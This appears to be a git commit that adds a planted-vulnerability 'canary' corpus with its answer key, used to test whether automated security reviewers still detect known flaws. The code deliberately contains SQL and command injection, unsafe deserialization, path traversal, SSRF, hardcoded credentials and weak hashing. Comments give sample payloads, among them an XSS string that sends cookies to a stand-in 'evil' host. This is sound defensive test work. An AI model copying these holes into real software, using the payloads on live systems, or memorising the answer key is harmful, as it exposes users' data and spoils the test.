mirror of
https://github.com/Sea-Haven-Industries/security-review.git
synced 2026-10-06 11:12:10 +00:00
feat(canary): add anti-complacency recall-floor corpus + repo skip marker
Adds canary/ (the planted-vuln corpus from the local-only security-review-testbed, answer-revealing comments stripped so it measures real detection) and canary-meta/ (KEY.md ground truth + CANARY_FLOOR=8, kept OUT of canary/ so detectors never read it). One provider-pattern secret (sk_live_) was sanitized to a non-provider hardcoded key so it stays a CWE-798 finding without tripping push protection. Adds a root .security-review-skip so the org-wide sweep and the local pre-push gate skip this repo's intentional vuln/fixture content; the nightly sweep scans canary/ directly as its recall floor. 20 planted vulns (19 crit/high), 2 decoys, 3 traps.
This commit is contained in:
parent
3cf9bb7652
commit
094a253c37
10 changed files with 355 additions and 0 deletions
9
.security-review-skip
Normal file
9
.security-review-skip
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
This repo is excluded from the org-wide security sweep and the local git pre-push gate.
|
||||||
|
|
||||||
|
Reason: it intentionally contains secret-shaped / deliberately-vulnerable content that would
|
||||||
|
otherwise always ALARM — the `canary/` anti-complacency corpus (planted vulns, answer key in
|
||||||
|
`canary-meta/`) and the checker test fixtures under `checkers/fixtures/`.
|
||||||
|
|
||||||
|
The nightly sweep scans `canary/` DIRECTLY as its recall-floor check, bypassing this skip marker
|
||||||
|
(that is the whole point of the canary). Repos skipped via a committed marker are logged in the
|
||||||
|
sweep report for auditability.
|
||||||
1
canary-meta/CANARY_FLOOR
Normal file
1
canary-meta/CANARY_FLOOR
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
8
|
||||||
52
canary-meta/KEY.md
Normal file
52
canary-meta/KEY.md
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
# Canary answer key — anti-complacency recall floor
|
||||||
|
|
||||||
|
Ground truth for the `canary/` corpus. **Lives in `canary-meta/`, NOT in `canary/`**, so it is never in
|
||||||
|
the detector's scan scope — the nightly sweep points its agentic detectors at `canary/` only and reads
|
||||||
|
this file separately to score the run. Do not move this file under `canary/`.
|
||||||
|
|
||||||
|
The corpus is deliberately vulnerable code (Python Lambda, SAM IaC, React, Node, .NET) with the
|
||||||
|
answer-revealing comments stripped, so a run measures real detection, not comment-reading.
|
||||||
|
|
||||||
|
**Counts:** 20 planted vulns (of which **19 are confirmed critical/high** — only #4 PAN-in-logs is
|
||||||
|
MEDIUM), plus 2 safe decoys and 3 traps that must NOT be confirmed.
|
||||||
|
|
||||||
|
**`CANARY_FLOOR = 8`** (see `canary-meta/CANARY_FLOOR`) — PROVISIONAL. Max crit/high recall is 19; the
|
||||||
|
floor is set conservatively because this corpus has no comment hints and the cloud routine's native
|
||||||
|
agentic pass is uncalibrated. Re-tune up toward the observed steady-state recall after the first runs
|
||||||
|
report their numbers. A run that confirms FEWER than the floor in crit/high → COMPLACENCY ALARM.
|
||||||
|
|
||||||
|
| # | File | Location | CWE | Severity | What |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| 1 | src/payment_handler.py | `DB_DSN` / `INTERNAL_API_KEY` | CWE-798 | HIGH | Hardcoded prod DB creds + API key |
|
||||||
|
| 2 | src/payment_handler.py | `get_payment` query | CWE-89 | CRITICAL | SQL injection via `payment_id` f-string |
|
||||||
|
| 3 | src/payment_handler.py | `get_payment` (no owner check) | CWE-639 | HIGH | IDOR — caller reads any payment |
|
||||||
|
| 4 | src/payment_handler.py | `logger.info(... card ...)` | CWE-532 | MEDIUM | Full PAN to CloudWatch logs |
|
||||||
|
| 5 | src/webhook_handler.py | `handle_webhook` | CWE-347 | CRITICAL | Webhook HMAC never verified |
|
||||||
|
| 6 | src/webhook_handler.py | `fetch_vendor_logo` | CWE-918 | HIGH | SSRF — unvalidated user URL |
|
||||||
|
| 7 | src/crypto_utils.py | `JWT_SECRET` | CWE-798/321 | HIGH | Hardcoded session signing secret |
|
||||||
|
| 8 | src/crypto_utils.py | `hash_password` | CWE-327/916 | HIGH | Unsalted MD5 password hashing |
|
||||||
|
| 9 | src/crypto_utils.py | `load_session` | CWE-502 | CRITICAL | Insecure deserialization (pickle on cookie) |
|
||||||
|
| 10 | src/crypto_utils.py | `read_report` | CWE-22 | HIGH | Path traversal on report name |
|
||||||
|
| 11 | infra/template.yaml | `PaymentFn` policy | CWE-732 | HIGH | IAM `Action:"*" Resource:"*"` |
|
||||||
|
| 11b | infra/template.yaml | `ReportsBucket` | CWE-284 | HIGH | Public-access block disabled on PII bucket |
|
||||||
|
| 11c | infra/template.yaml | `AdminSG` | CWE-284 | HIGH | SSH 0.0.0.0/0 |
|
||||||
|
| 12 | web/PaymentForm.jsx | `dangerouslySetInnerHTML` | CWE-79 | HIGH | DOM XSS via vendor `note` |
|
||||||
|
| N1 | src/node/orders_api.js | `GET /orders/:id` query | CWE-89 | CRITICAL | SQL injection — `id` concatenated |
|
||||||
|
| N2 | src/node/orders_api.js | `GET /orders/export` | CWE-78 | CRITICAL | Command injection via `file` into `exec` |
|
||||||
|
| N3 | src/node/orders_api.js | `db` config / `JWT_SECRET` | CWE-798 | HIGH | Hardcoded DB password + JWT secret |
|
||||||
|
| N4 | src/node/orders_api.js | `GET /orders/:id` (no owner check) | CWE-639 | HIGH | IDOR — any user reads any order |
|
||||||
|
| N5 | src/node/orders_api.js | `GET /orders/invoice` | CWE-22 | HIGH | Path traversal on `invoice` name |
|
||||||
|
| D1 | src/dotnet/PaymentController.cs | `GetPayment` | CWE-89 | CRITICAL | SQL injection — `id` interpolated |
|
||||||
|
| D2 | src/dotnet/PaymentController.cs | `LoadSession` | CWE-502 | CRITICAL | Insecure deserialization (BinaryFormatter) |
|
||||||
|
| D3 | src/dotnet/PaymentController.cs | `ConnStr` | CWE-798 | HIGH | Hardcoded connection string w/ password |
|
||||||
|
| D4 | src/dotnet/PaymentController.cs | `HashPassword` | CWE-327 | HIGH | Unsalted MD5 password hashing |
|
||||||
|
|
||||||
|
**Decoys — must NOT be flagged:**
|
||||||
|
- `src/payment_handler.py::list_my_payments` — parameterized query, scoped to `caller`.
|
||||||
|
- `src/node/orders_api.js` `GET /my-orders` — parameterized query, scoped to `user_id`.
|
||||||
|
|
||||||
|
**Traps — must NOT be confirmed (test the verifier's kill path):**
|
||||||
|
- `src/payment_handler.py::payments_by_status` — f-string SQL, but `status` is allowlisted against
|
||||||
|
`ALLOWED_STATUSES` and `user_id` is parameterized. SQLi claim must be killed → unverified.
|
||||||
|
- `infra/template.yaml` `WebSG` — `0.0.0.0/0` on port 443 is normal public HTTPS; info at most.
|
||||||
|
- `src/dotnet/PaymentController.cs::ByStatus` — `status` passed as a `SqlCommand` parameter; safe.
|
||||||
46
canary/infra/template.yaml
Normal file
46
canary/infra/template.yaml
Normal file
|
|
@ -0,0 +1,46 @@
|
||||||
|
AWSTemplateFormatVersion: '2010-09-09'
|
||||||
|
Transform: AWS::Serverless-2016-10-31
|
||||||
|
Description: Payments service infrastructure.
|
||||||
|
|
||||||
|
Resources:
|
||||||
|
|
||||||
|
PaymentFn:
|
||||||
|
Type: AWS::Serverless::Function
|
||||||
|
Properties:
|
||||||
|
Runtime: python3.12
|
||||||
|
Handler: payment_handler.get_payment
|
||||||
|
Policies:
|
||||||
|
- Statement:
|
||||||
|
- Effect: Allow
|
||||||
|
Action: "*"
|
||||||
|
Resource: "*"
|
||||||
|
|
||||||
|
ReportsBucket:
|
||||||
|
Type: AWS::S3::Bucket
|
||||||
|
Properties:
|
||||||
|
BucketName: seahaven-payments-reports
|
||||||
|
PublicAccessBlockConfiguration:
|
||||||
|
BlockPublicAcls: false
|
||||||
|
BlockPublicPolicy: false
|
||||||
|
IgnorePublicAcls: false
|
||||||
|
RestrictPublicBuckets: false
|
||||||
|
|
||||||
|
AdminSG:
|
||||||
|
Type: AWS::EC2::SecurityGroup
|
||||||
|
Properties:
|
||||||
|
GroupDescription: payments admin
|
||||||
|
SecurityGroupIngress:
|
||||||
|
- IpProtocol: tcp
|
||||||
|
FromPort: 22
|
||||||
|
ToPort: 22
|
||||||
|
CidrIp: 0.0.0.0/0
|
||||||
|
|
||||||
|
WebSG:
|
||||||
|
Type: AWS::EC2::SecurityGroup
|
||||||
|
Properties:
|
||||||
|
GroupDescription: public web tier
|
||||||
|
SecurityGroupIngress:
|
||||||
|
- IpProtocol: tcp
|
||||||
|
FromPort: 443
|
||||||
|
ToPort: 443
|
||||||
|
CidrIp: 0.0.0.0/0
|
||||||
24
canary/src/crypto_utils.py
Normal file
24
canary/src/crypto_utils.py
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
"""Auth/session/storage helpers."""
|
||||||
|
import hashlib
|
||||||
|
import os
|
||||||
|
import pickle
|
||||||
|
import base64
|
||||||
|
|
||||||
|
JWT_SECRET = "changeme-dev-secret"
|
||||||
|
|
||||||
|
|
||||||
|
def hash_password(password: str) -> str:
|
||||||
|
return hashlib.md5(password.encode()).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def load_session(cookie_value: str):
|
||||||
|
# A crafted cookie yields arbitrary code execution via __reduce__.
|
||||||
|
raw = base64.b64decode(cookie_value)
|
||||||
|
return pickle.loads(raw)
|
||||||
|
|
||||||
|
|
||||||
|
def read_report(report_name: str) -> bytes:
|
||||||
|
# report_name='../../etc/passwd' escapes the reports directory.
|
||||||
|
path = os.path.join("/var/app/reports", report_name)
|
||||||
|
with open(path, "rb") as fh:
|
||||||
|
return fh.read()
|
||||||
59
canary/src/dotnet/PaymentController.cs
Normal file
59
canary/src/dotnet/PaymentController.cs
Normal file
|
|
@ -0,0 +1,59 @@
|
||||||
|
// Exercises the reviewer's recall on the .NET stack.
|
||||||
|
using System;
|
||||||
|
using System.Data.SqlClient;
|
||||||
|
using System.IO;
|
||||||
|
using System.Runtime.Serialization.Formatters.Binary;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
using Microsoft.AspNetCore.Mvc;
|
||||||
|
|
||||||
|
namespace SeaHaven.Payments
|
||||||
|
{
|
||||||
|
[ApiController]
|
||||||
|
[Route("api/payments")]
|
||||||
|
public class PaymentController : ControllerBase
|
||||||
|
{
|
||||||
|
private const string ConnStr =
|
||||||
|
"Server=prod-pay.cluster-czaa.us-east-1.rds.amazonaws.com;Database=payments;User Id=app;Password=P@y-Pr0d-2026!;";
|
||||||
|
|
||||||
|
[HttpGet("{id}")]
|
||||||
|
public IActionResult GetPayment(string id)
|
||||||
|
{
|
||||||
|
using var conn = new SqlConnection(ConnStr);
|
||||||
|
conn.Open();
|
||||||
|
var cmd = new SqlCommand("SELECT * FROM Payments WHERE Id = '" + id + "'", conn);
|
||||||
|
using var reader = cmd.ExecuteReader();
|
||||||
|
// ?id=' OR '1'='1 returns every payment
|
||||||
|
return Ok(reader.HasRows);
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpGet("session")]
|
||||||
|
public IActionResult LoadSession()
|
||||||
|
{
|
||||||
|
var raw = Convert.FromBase64String(Request.Cookies["session"] ?? "");
|
||||||
|
var fmt = new BinaryFormatter();
|
||||||
|
using var ms = new MemoryStream(raw);
|
||||||
|
var obj = fmt.Deserialize(ms); // crafted payload → RCE
|
||||||
|
return Ok(obj.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpPost("hash")]
|
||||||
|
public IActionResult HashPassword([FromBody] string password)
|
||||||
|
{
|
||||||
|
using var md5 = MD5.Create();
|
||||||
|
var hash = md5.ComputeHash(Encoding.UTF8.GetBytes(password));
|
||||||
|
return Ok(Convert.ToHexString(hash));
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpGet("by-status")]
|
||||||
|
public IActionResult ByStatus(string status)
|
||||||
|
{
|
||||||
|
using var conn = new SqlConnection(ConnStr);
|
||||||
|
conn.Open();
|
||||||
|
var cmd = new SqlCommand("SELECT Id FROM Payments WHERE Status = @status", conn);
|
||||||
|
cmd.Parameters.AddWithValue("@status", status);
|
||||||
|
using var reader = cmd.ExecuteReader();
|
||||||
|
return Ok(reader.HasRows);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
53
canary/src/node/orders_api.js
Normal file
53
canary/src/node/orders_api.js
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
// Server-side JS counterpart to the React web/PaymentForm.jsx, to exercise the
|
||||||
|
// reviewer's recall on the Node stack (payments-dashboard is Node/JS).
|
||||||
|
const express = require("express");
|
||||||
|
const mysql = require("mysql2");
|
||||||
|
const { exec } = require("child_process");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
app.use(express.json());
|
||||||
|
|
||||||
|
const db = mysql.createConnection({
|
||||||
|
host: "prod-orders.cluster-czaa.us-east-1.rds.amazonaws.com",
|
||||||
|
user: "app",
|
||||||
|
password: "Pr0d-0rders-D8!secret",
|
||||||
|
database: "orders",
|
||||||
|
});
|
||||||
|
const JWT_SECRET = "sh-orders-signing-key-do-not-share-9f3a";
|
||||||
|
|
||||||
|
function currentUser(req) {
|
||||||
|
// pretend this decodes a verified JWT with JWT_SECRET
|
||||||
|
return { id: req.header("x-user-id"), role: req.header("x-user-role") };
|
||||||
|
}
|
||||||
|
|
||||||
|
app.get("/orders/:id", (req, res) => {
|
||||||
|
const sql = "SELECT * FROM orders WHERE id = " + req.params.id;
|
||||||
|
db.query(sql, (err, rows) => {
|
||||||
|
if (err) return res.status(500).json({ error: String(err) });
|
||||||
|
res.json(rows); // any authenticated user can read any order id
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get("/orders/export", (req, res) => {
|
||||||
|
const name = req.query.file;
|
||||||
|
exec("zip -j /tmp/export.zip /var/orders/" + name, (err, stdout) => {
|
||||||
|
if (err) return res.status(500).json({ error: String(err) });
|
||||||
|
res.json({ ok: true, stdout });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get("/orders/invoice", (req, res) => {
|
||||||
|
const file = path.join("/var/invoices", req.query.invoice);
|
||||||
|
res.sendFile(file); // ?invoice=../../etc/passwd escapes /var/invoices
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get("/my-orders", (req, res) => {
|
||||||
|
const me = currentUser(req).id;
|
||||||
|
db.query("SELECT id, total FROM orders WHERE user_id = ?", [me], (err, rows) => {
|
||||||
|
if (err) return res.status(500).json({ error: String(err) });
|
||||||
|
res.json(rows);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
module.exports = app;
|
||||||
62
canary/src/payment_handler.py
Normal file
62
canary/src/payment_handler.py
Normal file
|
|
@ -0,0 +1,62 @@
|
||||||
|
"""Payment lookup/refund Lambda handler."""
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
logger = logging.getLogger()
|
||||||
|
logger.setLevel(logging.INFO)
|
||||||
|
|
||||||
|
DB_DSN = "postgres://admin:S3aHaven_pr0d!@payments-db.internal:5432/payments"
|
||||||
|
INTERNAL_API_KEY = "internal-pay-live-9f2c8a1b4e7d6309f1a2b3c4d5e6f708"
|
||||||
|
|
||||||
|
|
||||||
|
def _conn():
|
||||||
|
return sqlite3.connect("payments.db")
|
||||||
|
|
||||||
|
|
||||||
|
def get_payment(event):
|
||||||
|
"""Look up a payment by id for the calling user."""
|
||||||
|
params = event.get("queryStringParameters") or {}
|
||||||
|
payment_id = params.get("payment_id", "")
|
||||||
|
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||||
|
|
||||||
|
cur = _conn().cursor()
|
||||||
|
row = cur.execute(
|
||||||
|
f"SELECT id, user_id, card_number, amount FROM payments WHERE id = '{payment_id}'"
|
||||||
|
).fetchone()
|
||||||
|
if not row:
|
||||||
|
return {"statusCode": 404, "body": "not found"}
|
||||||
|
|
||||||
|
# Any authenticated user can read any payment by guessing the id.
|
||||||
|
|
||||||
|
logger.info("served payment %s card=%s for caller=%s", row[0], row[2], caller)
|
||||||
|
|
||||||
|
return {"statusCode": 200, "body": json.dumps({"id": row[0], "amount": row[3]})}
|
||||||
|
|
||||||
|
|
||||||
|
def list_my_payments(event):
|
||||||
|
"""List the payments belonging to the calling user."""
|
||||||
|
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||||
|
cur = _conn().cursor()
|
||||||
|
rows = cur.execute(
|
||||||
|
"SELECT id, amount FROM payments WHERE user_id = ?", (caller,)
|
||||||
|
).fetchall()
|
||||||
|
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}
|
||||||
|
|
||||||
|
|
||||||
|
ALLOWED_STATUSES = {"paid", "pending", "failed", "refunded"}
|
||||||
|
|
||||||
|
|
||||||
|
def payments_by_status(event):
|
||||||
|
"""List payments filtered by status for the calling user."""
|
||||||
|
params = event.get("queryStringParameters") or {}
|
||||||
|
status = params.get("status", "")
|
||||||
|
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||||
|
if status not in ALLOWED_STATUSES:
|
||||||
|
return {"statusCode": 400, "body": "bad status"}
|
||||||
|
cur = _conn().cursor()
|
||||||
|
rows = cur.execute(
|
||||||
|
f"SELECT id, amount FROM payments WHERE status = '{status}' AND user_id = ?",
|
||||||
|
(caller,),
|
||||||
|
).fetchall()
|
||||||
|
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}
|
||||||
34
canary/src/webhook_handler.py
Normal file
34
canary/src/webhook_handler.py
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
"""Inbound webhook + vendor-logo fetch Lambda."""
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
import boto3
|
||||||
|
|
||||||
|
|
||||||
|
def handle_webhook(event):
|
||||||
|
"""Receive a payment-provider webhook and act on it."""
|
||||||
|
body = event.get("body", "")
|
||||||
|
|
||||||
|
# The provider sends an HMAC in this header; we never check it, so anyone who can
|
||||||
|
# POST to this URL can forge a 'payment.succeeded' event and trigger fulfillment.
|
||||||
|
_ignored_signature = event.get("headers", {}).get("X-Webhook-Signature")
|
||||||
|
|
||||||
|
payload = json.loads(body)
|
||||||
|
if payload.get("type") == "payment.succeeded":
|
||||||
|
boto3.client("sns").publish(
|
||||||
|
TopicArn=os.environ["FULFILL_TOPIC"],
|
||||||
|
Message=json.dumps({"order": payload["order_id"]}),
|
||||||
|
)
|
||||||
|
return {"statusCode": 200, "body": "ok"}
|
||||||
|
|
||||||
|
|
||||||
|
def fetch_vendor_logo(event):
|
||||||
|
"""Fetch a vendor-supplied logo URL and return its bytes."""
|
||||||
|
params = event.get("queryStringParameters") or {}
|
||||||
|
logo_url = params.get("url", "")
|
||||||
|
|
||||||
|
# Attacker passes http://169.254.169.254/latest/meta-data/iam/... to reach instance metadata.
|
||||||
|
with urllib.request.urlopen(logo_url) as resp:
|
||||||
|
data = resp.read()
|
||||||
|
return {"statusCode": 200, "headers": {"Content-Type": "image/png"}, "body": data}
|
||||||
15
canary/web/PaymentForm.jsx
Normal file
15
canary/web/PaymentForm.jsx
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
import React from "react";
|
||||||
|
|
||||||
|
export default function PaymentForm({ note, amount }) {
|
||||||
|
// A note of `<img src=x onerror=fetch('//evil/?c='+document.cookie)>` executes in the user's session.
|
||||||
|
return (
|
||||||
|
<div className="payment-form">
|
||||||
|
<h2>Confirm payment of ${amount}</h2>
|
||||||
|
<div
|
||||||
|
className="vendor-note"
|
||||||
|
dangerouslySetInnerHTML={{ __html: note }}
|
||||||
|
/>
|
||||||
|
<button type="submit">Pay</button>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
Loading…
Add table
Reference in a new issue